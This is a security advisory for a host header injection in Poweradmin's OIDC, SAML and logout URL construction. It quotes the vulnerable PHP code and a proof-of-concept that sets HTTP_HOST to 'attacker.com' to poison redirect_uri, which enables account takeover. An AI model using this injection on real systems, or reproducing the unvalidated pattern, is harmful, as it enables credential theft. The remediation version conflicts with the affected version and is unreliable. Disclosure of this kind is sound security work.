CVE-2026-54588

Poweradmin has Host Header Injection in OIDC redirect_uri, SAML ACS/SLO URL, and Logout Redirect Construction.

Published

2026-07-28

Modified

2026-07-28

EPSS percentile

24%

Aliases

GHSA-3735-5339-xfwx

Sources

github-advisory

Summary

### Summary Poweradmin v4.3.2 uses the attacker-controlled `HTTP_HOST` request header as the authoritative source for building callback URLs in its OIDC, SAML, and logout authentication flows without any validation. An unauthenticated attacker can poison the `redirect_uri` sent to the Identity Provider, causing the IdP to redirect the victim's authorization code to an attacker-controlled server - resulting in full account takeover with no credentials required. Three independent code paths are affected: - **Primary (Critical):** `OidcService::getCallbackUrl()` - `redirect_uri` poisoning - **Secondary (High):** `SamlConfigurationService::getBaseUrl()` - SAML ACS/SLO URL poisoning - **Tertiary (Medium):** `LogoutController::getBaseUrl()` - post-logout redirect poisoning ### Details ***Root Cause*** The application constructs absolute URLs dynamically from `HTTP_HOST` rather than from a trusted configured base URL. The header is fully client-controlled and is not validated before use in any authentication flow. Poweradmin's own codebase contains the correct pattern - `DocsController::getValidatedHost()` (line 244) calls `isValidHostname()` before using the value - but this was never applied to authentication flows. ### Primary: `lib/Application/Service/OidcService.php` (~line 460) ```php private function getCallbackUrl(): string { $scheme = $this->detectScheme(); // HTTP_HOST taken directly with zero validation $host = $this->request->getServerParam('HTTP_HOST', 'localhost'); $basePrefix = $this->configManager->get('interface', 'base_url_prefix', ''); return $scheme . '://' . $host . $basePrefix . '/oidc/callback'; } HTTP_HOST is embedded verbatim as redirect_uri in the OAuth 2.0 authorization request sent to the IdP. HTTP_X_FORWARDED_PROTO is similarly used unvalidated for scheme detection. Secondary: lib/Application/Service/SamlConfigurationService.php (~line 134) private function getBaseUrl(): string { $configuredBaseUrl = $this->configManager->get('interface', 'base_url', ''); if (!empty($configuredBaseUrl)) { return rtrim($configuredBaseUrl, '/'); // safe path - rarely configured } // Falls through on every default installation $host = $_SERVER['HTTP_HOST'] ?? 'localhost'; ... return $scheme . '://' . $host . $prefix; } Used to construct SAML ACS URL, SLO URL, and entity ID - all poisonable via Host header. The safe fallback only activates when interface.base_url is explicitly set, which is optional and empty by default. Tertiary: lib/Application/Controller/LogoutController.php (~line 272) Same $_SERVER['HTTP_HOST'] pattern used for post-logout redirect URL construction. ### PoC Environment: Poweradmin v4.3.2, Docker, PHP 8.2, OIDC enabled, interface.base_url empty (default). docker exec poweradmin-container php -r " require '/app/vendor/autoload.php'; putenv('PA_CONFIG_PATH=/app/config/settings.php'); use PowerAdmin\Application\Service\OidcService; use PowerAdmin\Infrastructure\Configuration\ConfigurationManager; use PowerAdmin\Infrastructure\Web\Request; \$_SERVER['HTTP_HOST'] = 'attacker.com'; \$_SERVER['HTTPS'] = ''; \$config = ConfigurationManager::getInstance(); \$request = new Request(); \$oidcService = new OidcService(\$config, \$request); \$authUrl = \$oidcService->initiateAuthFlow('test'); parse_str(parse_url(\$authUrl, PHP_URL_QUERY), \$p); echo 'redirect_uri: ' . urldecode(\$p['redirect_uri']) . PHP_EOL; if (str_contains(\$p['redirect_uri'], 'attacker.com')) { echo '[CONFIRMED] Host header injection successful' . PHP_EOL; } " Output: redirect_uri: http://attacker.com/oidc/callback [CONFIRMED] Host header injection successful - redirect_uri contains attacker.com The redirect_uri in the authorization request sent to the Identity Provider is http://attacker.com/oidc/callback. The vi

Affected packages

Remediation: Upgrade to 4.2.4 or later.

References

• https://github.com/advisories/GHSA-3735-5339-xfwx